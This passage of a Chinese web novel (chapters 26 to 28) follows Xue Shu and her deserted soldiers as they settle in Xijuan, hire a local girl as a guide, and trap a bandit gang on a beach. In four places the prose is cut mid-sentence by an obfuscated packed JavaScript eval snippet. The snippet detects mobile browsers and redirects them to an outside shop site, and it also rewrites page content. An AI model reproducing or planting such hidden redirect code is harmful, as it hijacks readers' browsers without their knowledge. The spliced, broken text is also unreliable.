“一个是盐,一个是糖,还有一个装了碎茶末,闻着像是武夷茶。” 许承训就把两道一指宽的浓眉挤在一处。 盐不稀奇,这地方靠海,哪怕官府明令禁止私人制盐,奈何上有政策下有对策——人家舀点海水回来制盐自家吃,你总不能闯进人家家里,挨个检查有没有犯禁吧? 但糖就不对劲了,虽说广南气候适宜甘蔗生长,可制糖技术远比制盐复杂,也就贵族人家能敞开了肚皮吃,寻常人家可没这个底气。 至于茶叶就更金贵了,得等来自中原的商船冒险突破海禁,将产自福建的贡茶偷渡到广南。一般的贵族人家都未必有门路买到,区区山民又是打哪弄来的? 许承训就明白了:“郎君怀疑,这些个村民不是寻常百姓?” 不是寻常百姓是什么? 那只能是占据村庄,伪装成寻常百姓,实则藏在阴影里注视着每一个路过的客商,准备将他们携带的钱财和货物据为己有的山贼。 “所以,郎君故意暴露我等出身军中之事,假借朝廷威名令其不敢动手?” 薛殊没说话。 她想说的已经被许承训猜得七七八八的。 就在这一刻,薛殊感到莫名的讽刺。她当然是憎恶大穆朝廷的,更加痛恨这个世道、这片被她甩在身后的土地,它不曾给予她任何一点温情,反而用森严的阶级壁垒与禁锢人心的礼教,剥削着她的□□和灵魂。 可是现在,她不得不承认,在它剥削她的同时,也给了她行走在阳光下的权利。 如果不是畏惧大穆之名,那伙山贼不会这么轻易地放他们离开。 不管薛殊愿不愿意承认,她都必须正视这一点。 许承训可猜不透她这番复杂幽微的心绪,这货可没点亮察言观色的技能点,还在呱呱呱地追问:“郎君昨日邀我比武,莫非也是为了让在下显露身手,震慑宵小?” 薛殊静了一会儿:“……那倒不是,只是想看看自己能在将军手底下挨多久。” 许承训就不吭气了。 * 不管薛殊对大穆抱有怎样的情感,这一次的庇护是货真价实。临别时的武猎户为他们指出正确方向,沿着官道走上一两个时辰,果然瞧见一座大城横亘道上。 嗯,说大城是相对他们一路见闻而言,认真论起来,这座城市无论规模占地还是坚固程度,不说与大穆都城或是宁波、广东这些一线要镇相比,就是二三线城镇也能甩出好几条街。 离得近了,城门口悬着牌匾,上书“西卷城”。 没错,这牌匾上写的是正宗的汉字。 广南与中原王朝渊源深厚,从政治制度到礼仪文化都颇受汉家影响,最显著的例子就是这里的通用文字是汉字,省了薛殊不少力气。 门口有守军,也有小吏。只见胡千岩驾轻就熟地走上前,先是道明自家身份,又将宽大的袍袖一甩,借机往小吏手里塞了什么。 小吏掂着份量,大约是比较满意,方才还翻上天的眉眼落回地面,露出一个和煦的笑。他将胡千岩领去一旁的窝棚,命他在簿册上登记姓名、人数,以及运送的货物,又取出事先准备好的印照,自小吏手中换过一面小木牌,相当于此地的临时居住证。 自然,薛殊这一行连辽东军带水手,将近三百号人,不可能人人都有印照——伪造也伪造不出这许多。好在还有银钱开路,比方说薛殊将带来的香料留下一盒,果然换得小吏眉开眼笑,遂好心指点了他们几句,譬如如何去官府登记,如何打通渠道,又如何换得更正规的长久居住证。 薛殊含笑,用不太地道的本地语言,一字一句地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885800|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道了谢。 小吏不以为意,摆摆手放了行。薛殊抬起头,正与胡千岩惊恐的眼睛对了个正着。 她弯起嘴角,又露出那种意味深长的笑。 在此之前,胡千岩曾试探过薛殊是否接触过广南蕃商,得到的答案是否定的。他遂放了心,以为薛殊对此地风土人情一无所知,凡事都须倚仗自己。 严格说来,薛殊没说谎,她确实没到过这个时空的广南,也没跟当地人接触过,但这并不意味着她对这里一无所知。 尤其这个国家的通行语受两广之地影响颇多,而两广之地的方言——也就是后世所谓的“粤语”,是在时间推移中改变最少、传承最多的语言。 对于一个从小刷着TVB长大,对经典台词倒背如流,甚至为此自学了粤语的资深剧粉而言,想在短时间内说得多地道不太可能,可连蒙带猜弄明白大概意思,还是不难的。 当武猎户跟胡千岩提议,卖了他们这一行人时,薛殊就在旁边听得清清楚楚。正因如此,她才能百分百确定,这个姓武的不是什么正经良民。 但薛殊没有立刻发难,一来强龙不压地头蛇,撕破脸对他们没好处;二来,她也想看看,胡千岩面对利益的诱惑会如何选择。 只能说,胡千岩确实精明,运气也不错。他并不是没动心,只是商人的敏锐让他无法轻信素未谋面的武猎户,而薛殊先前的恩威并施拿捏人心,也给他留下极深刻的印象。 他不敢轻举妄动,宁可再等等、再看看,却不知就这么一瞬的迟疑,他这条小命已在阎王殿前走过一遭。 “这小子运道不错,”薛殊摁了摁胸口,硬梆梆的热武器硌着她的手指,她迎上胡千岩既惊且疑的打量,不沾烟火气地弯落长眉,“还想着用他开个刃……且等下回吧。” * 他们是以中原客商的身份入得城,并不是登记入城就完了,而是由一名守城兵丁领着去了城西。 这里有一处专供大穆商人交易的市场,想进入此地交易,须事先向官府报备,登记名册领取号牌。因着往来商人不少,吃喝拉撒都要人管,是以这附近又形成一片小小的村落。 村子中心多是漂泊到此的穆人,他们或是在大穆犯了事,被迫远走他乡避祸,或是以商贾为生,一年倒有大半年是在这南洋之地耕耘。虽是无根浮萍,可能平安越过茫茫大洋,多少都有些家底和能耐。 外围则是当地百姓,且家境称不上富裕。好些的有两亩田地,平时男丁种田,妇人织补,或是去集市上找活干,日子虽然清苦,总还能过下去。惨一些的,家里的顶梁柱没了,田地也被人占去,孤儿寡母没个营生,只要能赚口吃食,什么活计都肯做。 然而此地离商船停泊的港口有些路程,聚集在这儿的商人并不算多,能寻到的活计更是有限。自从进村后,薛殊就见到好些妇人,穿着破破烂烂、甚至不能完全遮蔽住身体的衣裳,打着赤足,一边蹲在自家门口洗洗涮涮,一边用形形色色的目光打量他们。 薛殊突然顿住步子,她在这些妇人中看到一张熟悉的面孔。 是那个抢了她荷包的小女孩。 26. 第二十六章 “你先起来,别行这般大礼,”薛殊哭笑不得地拉扯着妇人,“我不是来找麻烦的。” 在她认出抢她荷包的女童时,女童也认出了她。许是以为薛殊追到此处,是为了兴师问罪,小女孩拔腿就跑。 这一回,几个辽东军早有防备,哪容得她再逃一次?尤其这几个还当过斥候,如出笼猛虎一般扑过去,虽不如那女童熟悉地形,却胜在配合得当,三堵两堵,就将女孩堵进了死胡同。 当然,辽东军自有军规,绝不可对妇孺老弱出手,哪怕叛逃海外,没了军法官监督也万万不敢触犯。薛殊命他们追赶女孩的初衷也不是想为难小姑娘,只是他们初来乍到,人生地不熟,须得找个熟悉城中风貌的向导领路。 可女孩不知道,女孩的母亲也不明原委,仓皇之下只以为自家不懂事的小女儿得罪了贵人,忙跪在薛殊脚边,拉扯她衣角哀声求饶。 薛殊前半生尽给别人下跪,突然间待遇颠倒过来,简直不知说什么好。她拉扯半天,终于将那妇人拔萝卜似地薅起,又用不太灵光的广南语,连说带比划。 “我不是来找你女儿麻烦的,”她说,“我想买药,还要租套院子,你知道应该去哪吗?” 女孩歪头看了她一会儿,点了点下巴颌,用不算太流利的汉语说:“……知道。” 薛殊并不觉得讶异。 在百多年前,广南曾是大穆领土,后来虽然独立成国,商贸往来却没断过,国中居民会说汉话也不足为奇。 但她没想到,这小女孩子刚抢了她的荷包,被抓现行却毫无畏惧,还大大方方地跟她讲条件:“我带你去,那样的肉干,你能给我多少?” 在薛殊许下两条肉干,并掏出一粒碎银做定金后,小姑娘拍了拍胸口,那意思大约是“你的事包在我身上了”。 要在村里安顿下来不是难事,她很快帮他们找到一间二进的宅院,样式规整的平房在一群小楼里独树一帜,大概是哪个年月,有穆国商人流落至此,按照家乡的规格建造的。 唯一的问题是,这地方太久没人住——倒不是落灰,广南气候湿热,灰尘飘不起来,沉在地上积了泥泞。有水有泥,特别适合动植物栖息,于是这里长了一丛杂草,哪里钻出一团蘑菇,一个不留神,说不准哪还藏着一窝活泼可爱的小长虫。 但薛殊很满意,理由只有一条:地方够大,后面居然还有个小院子,当然现在也已是荒草丛生。可拾掇拾掇,盖个窝棚或者开辟出几亩菜地,或是踩平了弄个演武校场,都是很不错的。 最重要的是,它便宜。 “就这里吧,”薛殊说,又给胡千岩交代活计,“你带一半人在这儿收拾屋子,我和其他人去买药材。” 自从胡千岩发现自己和武猎户那点勾当没逃过薛殊双眼,他就吓破了胆,一路上再没敢说过话。好容易听到薛殊给他交代差事,简直如聆仙乐,忙不迭应下。 “郎君放心去,”他打包票,“有我在这儿盯着,保准出不了差错。” 薛殊露出静谧而古怪的微笑:“出门在外,难免遇着磕磕绊绊,咱们既是乘同一条船来的,自该相互照应,你说是吗?” 这话不好接,胡千岩只能唯唯应下。 薛殊叮咛了留在宅院的几名辽东军几句,带着许承训和其他几人,跟着那小女孩出门了。这村子不知是哪个年月建的,中途应该改建过好几回,最中央几片街道规划还算整齐,越往外越杂乱,民居、小巷、货摊犬牙交错,有时看着没路了,可跟着那女孩拐过两道弯,踩过一片臭烘烘的污水沟,前方又是豁然开朗。 “就是这里,”女孩用黑黢黢的小手指了指前面,“你想要的,都在这儿。” 薛殊跟着钻出小巷,眼前是一片空旷地带,气味却比流淌着生活污水的小巷还酸爽。她第一反应是捂住鼻子,缓了几秒才定睛看去。 广平营是广南十二营之一,北面临着灵江,江对面就是郑主的地盘。换言之,万一哪天郑主心情不好,看着灵江以南的阮主越瞧越不顺眼,一怒之下调集大军南下征讨,广平就是首当其冲。 因为这个缘故,住在这儿的百姓身家都不丰厚,有钱人早往南迁,远远避开郑主锋芒。除此之外,地势也是一大原因,广平西面是长山山脉,平原少,能种粮食的肥沃土地更少,就算是治所西卷,这样大面积的平坦空地也不多见,每一寸都要好好利用起来。 于是当地居民赶来自家养的猪、鸡或者鸭,后院空地种的水灵灵的绿叶菜,有心灵手巧的,编了框子、草鞋、斗笠,以及从山里弄来的野果、河鱼、山货,全都拿到这里交易。久而久之,就成了一个热热闹闹的市集。 人气是足够旺的,只是没经过官府规划,瞧着杂乱得很。鸡鸭和猪一辈子没见过这么大的阵仗,吓得乱拉乱尿,也没人清理干净,满地排泄物横流,味道自然不会太好。 亏得薛殊上辈子在医院里轮过岗,大半夜闹肠梗塞的阵仗都见识过,倒不至于被眼前的场面吓唬住。她跟着女孩穿过凌乱的摊位,在一处买草药的摊位前蹲下身。 摊主是个皮肤黝黑的女人,这一天还没开过张,见来了客人,两颗眼珠子直放光。再一看,薛殊虽尽量往朴素里打扮,可那染色匀称的细布料子,是谁都穿得起吗?再加上她身后跟着五个护卫模样的男人,人人佩刀,又是身形精壮气度不凡,她再没眼力见也知道薛殊不是普通人,脸上笑得堆满了花。 “都是,好药,这山里头,采的,”她操着蹩脚的汉话,指了指身后若隐若现的青山,“买得多,便宜。” 但其实草药的质量并不很好,因为采药之人不懂行,有些从中薅断,难免损了药性;有些叶子揉得皱皱巴巴,瞧着只剩一口气。 薛殊不由叹了口气,一边挑拣,一边细细为大姐讲解,这草药该如何摘采,又如何保存才不失药性。她挑了许多毛病,听得大姐心里拔凉拔凉,只以为她不买了,谁知薛殊话锋一转:“这几样,包起来。” 大姐一愣,笑得话都不会说了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891977|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎,哎!” * 买了药的薛殊不急着回刚租下的院子,她这一趟耽搁太久,须得赶回搁浅的货船为云澈熬药。 那船虽大,可再大的船也是船,条件有限,舱室也逼仄,不适合养病。等云澈病势稍减,她得想法子把人运回城里。 可都运回来也不成,船上将近三百号人,又有那许多箱笼货物,就像一块行走的肥肉,一旦经了人眼,谁不想上嘴咬一口? 所以,她是在城外另找地方安置这些人,还是干脆把他们都留在船上,看守那些金贵的货物? 薛殊有些犹豫不决,一时没留神脚下,被突兀地绊了下。 她趔趄好几步方才站稳,几个护卫如临大敌地抽出腰刀,又错愕地顿住手——发现冲出来挡路的是那个带路的小女孩。 薛殊也很惊讶:“账都结清了,我还有什么欠你的?” 小女孩摇了摇头。 “那为什么跟着我?” 小女孩想了想,用汉话很认真地说:“你雇我。” 薛殊没明白:“雇你什么?” “什么都行,”小女孩说,“你再雇我。” 几个辽东军面面相觑,倒是薛殊回过味来:“你想给我当长工?你能做什么?” 小女孩没发现她话中戏谑的成分,掰着手指数:“扫地,打水,砍柴,洗衣服,做饭,缝衣服补衣服……” 她绞尽脑汁地想,忽然眼睛一亮,指着薛殊身后说:“还有那个!你想要,我也能给你找来!” 薛殊回过头,只见身后是一座当地常见的高脚屋,栏杆上晾着衣物,一个穿着棕黄色圆领衫的女人倚着栏杆,两腮抹着不知从哪淘来的、颜色过分艳丽的胭脂,敞露着两条臂膀,一边露出讨好的笑,一边招了招手。 薛殊先是不解其意,然后猛地反应过来。 “快闭嘴快闭嘴!”她整个人都不好了,死去多年的良心突然诈尸,对她带坏小孩的举动发出声嘶力竭的控诉,“你才多大?以后不许提这个!” 几个辽东军别过头偷笑,肩膀一抽一抽。 女孩扁起嘴,显得很委屈。她当然有委屈的理由——这地方山多田少,又紧挨着南北内战的前线,穷是肯定的,可再穷的百姓也得讨生活啊。 尤其广南政权的本质是个军政府,说是官府,里头都是职业军人,在军营里憋久了,能不出毛病?当然要时不时出来找人治治病。 当兵的治好了病,穷苦妇人赚到糊口的钱,这不是合则两利的好事?有什么不能提的? 女孩不懂。 薛殊一时半会儿也解释不清,只好随口敷衍:“我现在有急事办,等我回来,一定雇佣你成不成?” 为了表现出诚意,她还特意问了句:“你叫什么名字?我到时去哪找你?” 女孩满意了,给她指了方向,又很认真地回答。 “vanchan,”她先是发出两个当地语单音,又用汉语解释,“我叫文真。” 27. 第二十七章 薛殊带着辽东军找到西卷城用了将近一天光景,回程只花费了两个时辰。 这固然说明了辽东斥候的靠谱,但也从侧面印证,当初那个姓武的带着他们在山林里兜圈子,实在没安好心。 这回没人耗时间,他们用最快的速度赶回海滩,离着还有一两里地就被藏身灌木观察警戒的斥候拦下了。 “将军怎样了?” “断断续续地烧,”斥候显然等得很焦心,“按郎君的吩咐,一直给他做冷敷,可人总是醒不过来。” 薛殊心里有了数,不管怎样,病情没加剧就是老天保佑。 她赶回商船时,受到了第二重迎接。岑宁扶刀立在舷梯旁,行了个极郑重的抱拳礼:“辛苦郎君了。” 薛殊不跟他客气,直接道:“炉子在哪?我教你们怎么熬药。” 熬药有很多学问,都是药材,有些用叶子,有些就得用根茎;有些需要横切,有些只能竖切;有些须煎满一定时辰方能起效,有些却忌煎煮太久,否则失了药效。 薛殊像摆弄绣娘的丝线一样,将这一大灌药汤调理妥当,又趁热给云澈灌下,辅以针灸和热敷,剩下的就只能等待。 趁着这个时间,她把一路上琢磨的事跟岑宁说了。 岑宁听得很认真:“郎君是如何考虑的?” 薛殊就开始琢磨,岑宁这么问是真心想听她的看法,还是存了试探之意? 不能怪薛殊凡事想得多,眼下她看似掌握局面,实则这一切有个大前提,就是辽东军愿意配合。一旦岑宁对她产生不满或者怀疑,夺回掌控权,她所筹谋的一切都像是建立在沙滩上的堡垒,连个浪头也禁不住。 “我只是个小女子,见识有限,不比诸位将军是沙场搏命拼出来的,”她很谦卑地放低姿态,“愿唯将军之命是从。” 这是以退为进,岑宁却当了真,肃然抱拳:“郎君何必妄自菲薄?若无郎君智勇,我等早已丧命江南,岂能苟活至今?” “郎君若有主意,但说无妨,切勿有所顾虑。” 薛殊想说的话就噎了下。 按照她的设想,怎么都得跟岑宁拉扯几个来回,打几轮太极,才能把话题引到自己设定的方向。可岑宁其人,跟他家那个多疑精明的主将完全是两个极端,根本不需要说服就接受了薛殊“外置大脑”的设定,反倒叫薛女士准备好的诸般手段没了用武之地。 “绝了,”薛殊忍不住想,“他家将军也不这样,这性子是谁带出来的?” 难不成是云澈想得太多,该猜疑的都猜疑完了,反而叫麾下偷了懒? 这个念头在她脑中一闪而过,当务之急还是如何安顿这二百辽东军。 “其实不是不能假扮商队,正大光明地进入西卷城,”薛殊分析道,“只是这么多人,又这许多货物,一旦入城,必定惹来当地官府留心,往后一言一行、一举一动都逃不过他们注视。” “若咱们只是来做生意的,这倒没什么,可咱们身上还有官司在。若是朝廷知晓咱们遁入广南地界,以上国之威逼迫阮主交人,无论南北都不敢不应,到时留给咱们转圜的余地可就不多了。” 薛殊意识到跟这些军汉打交道,心眼是不能不玩的,可若想真切打动他们,言行须得贵乎一个“诚”字,因此将利弊说得极明白,确保如许承训这样的憨直人也能听懂。 果然,她话音刚落,旁听的许佥事就连连点头:“不错,有道理。” 岑宁瞥了他一眼,又看向薛殊:“郎君这么说,想必是有主意了?” 薛殊思忖须臾:“我的确有个主意,只是须得有人配合。” 为她这句话,刚把宅院收拾好的胡千岩连口水都来不及喝,就被一个乾坤大挪移薅了回来,还被强行派了一项绝密任务。 他苦着张脸,想推辞又找不到理由,表情很是无奈:“这样要紧的差事,郎君放心交给小人?” 薛殊笑眯眯地:“这有什么不放心的?我与胡先生乃是过命的交情,先生定不忍心负我,对吗?” 胡千岩语塞。 他听懂了薛殊的暗示,若他办成此事,则他与薛殊就是过命的交情,之前他差点背叛的旧账自然一笔勾销。 可他若办不成,或是起了异心,打着将薛殊卖了的主意,那但凡薛殊还有一口气在,天涯海角也得寻他算清这笔账。 这怎就不是过命的交情了? * 与薛殊结下过命交情的胡千岩出发了,沿着走过一遍的山路,深一脚浅一脚地踏入丛林深处。 这一路当然是万分惊险的,他没有薛殊那等穿越热带丛林的技巧,蹚过灌木时悬着一颗心,就怕从哪钻出一条带毒的长蛇,只一口就叫他性命交代在这儿。 幸好他运气不错,瞧见那隐藏在山腰密林中的小村寨,看到茅草屋顶冒出的袅袅炊烟之前,都没遇到真正的险难。 * 听说胡千岩回了村寨,武猎户是很惊讶的。 村寨是真的村寨,村民也是真的村民,只是武猎户平时并不住在那里。他姓武不假,却不是猎户,大名叫文顺,是个蛰伏在山中匪寨里的贼寇。 建在半山腰的小村寨是他的眼线,住在里头的村民时刻留意着附近官道,有家资不菲的客商经过,就会派人给山上的匪寨通风报信,抢得的油水匪寨拿大头,他们这些正经良民也能跟着喝汤啃骨头。 除此之外,武文顺偶尔会效仿取经路上的女妖,假扮成柔弱无辜的受害者,骗取好心人的同情。他靠这招吸引来薛殊,却在准备动手之际,意识到这块肥肉并不如想象中那么好咬,一口下去没啃到油花,保不齐先被钢板磕掉大牙。 他因此未曾对薛殊等人下手,放他们平安离去。但现在,薛殊身边的管事找到他,对他说,他的猜测错了,那些人根本不是什么大穆朝廷的使团,就是几个偷摸走私的行商,拉大旗扯虎皮罢了。 他说,他那郎君实则是个兔儿爷,仗着主君宠爱揽事上身,非要带队出海,就为了在主君面前博一个出头,平时想起一出是一出,可苦了他们这些底下人。 他说,什么“朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900251|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廷使团”,不过是薛殊想出的说辞,用来自抬身价,免得被人当成肥羊。 他说,那几个护卫瞧着厉害,也确实是正规军出身,只是人品不太地道,吃喝嫖赌样样精通,因此被赶出军队,只能在商队里当个护卫混口饭吃。 最重要的是,他说,回去后仔细想过,武郎君的提议是极好的,尤其他们这一趟运送的不是寻常货物,而是价比千金的云锦,几十口箱子装着!这么大一笔生意要是做成了,哪怕五五开,也够一辈子吃用不尽。 前面的村寨里的人还没怎么样,听到最后一句,所有人的眼睛都放光了。 他们没见过云锦,却不妨碍听说过这种丝织物的华美珍贵。据从富春过来的商人说,每当重大节庆典礼,阮主都会骑着白象,穿着云锦裁制的衣裳在都城中巡游。那衣服闪闪发光,比阳光还明亮,比云霞还要绚丽。更稀罕的是,站在左边看是一个颜色,站在右边看又是另一个颜色。 这是只有神佛才配穿戴的宝物,他们说,别说拥有,一辈子能见上一回就算值了,能上手摸一摸,真是立时死了也不枉。 而这样珍贵的丝绸就在离他们不到两个时辰路程的商船上,而且装了近百口箱子。 近百口! 他们的眼睛亮了,心也活了,巴巴望着武文顺,就等他一句话。 那泼天的富贵,就能砸进他们怀里! 但武文顺作为山贼头目,没那么好糊弄。他的脸色很温和,问出的话却极犀利:“胡兄有这样的志气,当然是好的。不过前日你等留宿村寨,你可不是这么答复我的。” 一个人如果突然做了出尔反尔的决定,要么是经历重大变故,要么是藏着坏心眼。 武文顺很好奇,胡千岩属于哪一种。 胡千岩的答案却令他很惊讶。 “我被那小白脸骗了,”说起这个,胡千岩一脸心酸,“我还当她不懂广南语,谁知她竟然听得懂,在那跟我装呢!” “咱俩商量这事时,唉,她都听见了。只是当时她还有用我的地方,没立刻发难,现在安顿下来,她就跟那几个护卫商量,要解决我这个后患。” “幸好我命大,起夜时听到他们商议,不然这条命怎么没的都糊里糊涂!” 这理由当然很合理,毕竟薛殊在与他们接触时从没表现出自己听得懂当地语,连武文顺乍听说都很惊讶。 但他并未将震惊表露出来,而是很温和地吩咐人照看好胡千岩,给他吃点东西,再请他好好睡一觉。 胡千岩没推辞,他确实累极了,任哪个养尊处优的大主事往热带丛林里走上一遭,都会像他一样恨不能就地躺倒。他简单吃了点糙米饭,又有村里的妇人端来热水,请他脱去那只沾满泥巴的草鞋,将被蚂蝗叮肿的脚跑进热水舒畅片刻。 胡千岩觉得自己活过来了,他吃饱了,洗了脚,脚上的蚂蝗也被仔细挑走。现在他躺在铺了草席的床榻上,舒舒服服地打起小呼噜。 但武文顺睡不着,被这样厚实的一个肉饼砸在头上,他也不可能睡着。 28. 第二十八章 武文顺派出最机灵的小兄弟前往胡千岩所说的海滩探查,这个少年粗通汉话,当初就是他跟在薛殊和许承训身后,带回了“朝廷使团”的惊人情报。 这一次,他也没让武文顺失望。天快亮时,他回到村寨,很兴奋地告诉武文顺,就像胡千岩说的那样,只有一艘商船搁浅在海滩上,没有护卫舰,没有书本记载中那样山一样大的宝船,只是一艘普通的商船。 可是当武文顺问到船上有多少人时,少年摇了摇头。当时商船上点着火把,有人在船头来回巡逻。这一晚没什么月光,但星辉很好,洒在海面上熠熠生辉。海滩又太空旷,如果他贸然靠近,很容易被人发现。 武文顺摸摸他的额头,让他下去歇息。然后这个精明谨慎的匪首坐在竹椅上,盘算起这笔生意的风险和收益。 其实根本没必要盘算,它的收益自然是很大,不然他的部下和山民们也不会从天黑起就围在他身边,不遗余力地劝说他吃下这支商队。 “他们只有几十个船员,咱们上上下下加起来,可是有将近两百号人。” “等天黑,趁他们睡觉时冲过去,只要打倒巡逻的人,那么大一艘船,都是咱们的了。” “那是穆国的丝绸,还是最珍贵的锦缎!只要一箱,就够整个村子一辈子的花销,他们有整整几十箱!” “这是征夫人赐给咱们的财富,错过这次机会,咱们这辈子都只能躲在山里,当一只见不得人的老鼠!” 他们用自己能想到的,最诱人动听的言语劝说武文顺,可比胡千岩干巴巴的叙述打动人心多了。武文顺脸上有了波澜,他毕竟是个山贼,再谨慎再精明,也是做搏命买卖的,当一笔收益远大于风险的生意摆在眼前,他为什么不做? 往最糟糕的地方想,即使他们失败了又怎样?那些穆国人初来乍到,不熟悉这里的地势,也没跟官府打过交道,他们是能追到他的老巢,将他一锅端了,还是能说动当地官府出兵,冒险深入山里,就为剿一个捞不到半点好处的匪窝? 武文顺下定了决心。 “就明晚,”他说,“明晚我带人过去,你们把那个姓胡的主事带去寨子里,如果成了,就先留着他。如果不成,就拉他出来开刀!” 小楼里爆发出小小的欢呼声。 * “如果我是他,我一定不会放走胡千岩。恰恰相反,我会牢牢看好他,将他放在最安全、最隐秘的地方,这样一旦出了变故,我可以拿他当人质,或是杀了他平息兄弟们的怒火,反正不会让他溜出去透漏村寨的消息。” 即将被攻打的商船同样做着最后的准备。薛殊不知从哪弄来一块平整的石头,淋了些海水在,对光磨着一把短小的匕首。 “嗤啦嗤啦”的磨刀声听得岑宁牙根发酸,嘴里的干粮都不香了。对一个杀人无数的武将而言,磨刀不算什么,可当这个举动和一个身量纤细的姑娘家联系在一起,就会产生一种类似恐怖谷的效果。 他抻长脖子,将噎住的食物咽下去:“在下有一事不明。” 磨刀的薛殊分给他一个眼神。 “郎君的所有计划都建立在对方会出兵劫掠商船的前提上,”岑宁说,“但如果,他们不来,郎君打算如何?” 薛殊磨刀的动作停下了。 “如果他们来了,说明这确实是一帮穷凶极恶的匪徒,眼里只有财富,视人命道义如草芥。这样的人,杀了便杀了,没什么可惜,”薛殊轻声道,“但他若不来……说明他心里到底还残存一线良知。” “浪子回头金不换,放他一马也无妨,咱们另想别法就是。” 岑宁恍然:“郎君既有霹雳手段,又具菩萨心肠,在下佩服。” 薛殊矜持一笑。 她心里真是这么想的吗?谁也说不清,但她知道,如岑宁这般谨守军规,骨子里又不失温厚的人,心里一定是这么想的。 她不是非要这个匪寨不可,既如此,说句漂亮话,刷刷对方的好感度,有何不可? * 夜幕再次降临时,像一只巨大的黑色手掌当头盖落,那些细碎的星辰消失不见,海面也成了漆黑一片,唯有船头亮着星星点点的光,那是穆国商队的护卫举着火把来回巡逻。 这样有限的光源不能照亮太广泛的区域,于是不请自来的身影躲在背光的暗角里,一步一步往前挪。每当火把照过来时,他们必须立即趴到,用黑色的油布罩过头顶,假装自己是一块又冷又硬的礁石。可当火光移走,他们一跃而起,继续踩着静悄悄的步子向前,向前,向前。 向着那一船华美精致的锦缎,向着他们美妙的幻梦! 他们的速度很快,即便踩在湿润的沙地上也未曾放慢速度。光裸的足掌像是猫科猛兽的肉垫,落地轻巧迅捷,一道风似地扑过去。 这是很应该的,他们本就是生于斯、长于斯的山民,他们熟悉这里,就像猛兽圈定了地盘,再不应该有什么变故。 可变故偏偏发生了! 在他们离商船只剩十来丈时,潮水悄无声息地涨起。不深,只堪堪没过足踝,可漆黑的海水遮挡了视线,令他们忽略了水面下的异样。 于是脚底细沙无声裂开,一道一人深的壕沟张开大嘴,将最前面的三四个贼寇一口吞下。 * 这道壕沟挖得很不容易,因为沙地松软,没挖几下就连人带工具一同陷进去。 幸好薛殊警醒,选了刚退潮的时候,沙子还是湿的,颗粒之间黏度够强。再去树林里折了好些一人长的木头,插入壕沟支撑结构,才叫陷阱成了型。 深坑挖好,后面就简单了:铺上枯枝落叶,再撒一层碎沙作伪装。白天时或许能看出沙子颜色与别的地方不同,可谁叫贼寇们选了夜晚发动突袭? 尤其这里的山民可不兴吃动物内脏,到了晚上,看东西都有点毛病。倒不是完全看不清,可你要他们分辨被海水没过一尺的沙滩颜色是深是浅,就有点强人所难了。 于是到了晚上,惨叫惊呼接二连三响起。不远处,林子里栖息的海鸥被惊动,一边扑啦啦扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901953|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动翅膀,一边愤怒地嗷嗷咆哮: 大晚上不睡觉,叫什么叫啦! * 第一声尖叫传来时,武文顺还没反应过来,脑子短暂地懵了一瞬。 可当第二声、第三声响起,他就明白,这块肥肉今晚是吃不到嘴里了。 很显然,穆国人有了防备,也许是他们的行踪被警惕的护卫发现了,也可能胡千岩的投诚一开始就是骗局。 但这重要吗? 对方有了防备,设了陷阱,擎等着他们往套里钻。那他们还要像傻乎乎的野兽一样,不撞南墙不回头吗? “撤!快撤!”他顾不得惊动商船上的守卫,厉声嘶吼,“快离开这片海滩!” 如果是在平时,听到他的命令,这些贼寇肯定拔腿往回跑。但这一次,他们迟疑了。 那船上装的不是普通货物,是他们下半辈子的荣华富贵!看守它们的只有几十个穆国船员,也许人数比这个多,可肯定不会比村寨的人更多,不然他们挖什么陷阱、下什么圈套啊? 人这一辈子,也许只有这么一次发财的机会,错过了谁知道下一次是什么时候。 谁知道还有没有下一次! 这些想法像石缝里渗出的山泉一样,自然而然流淌过他们胸口。他们被那甘甜的滋味迷惑了心窍,不肯拔出陷入泥潭的脚,反而往映照着火光的深处蹚过去。 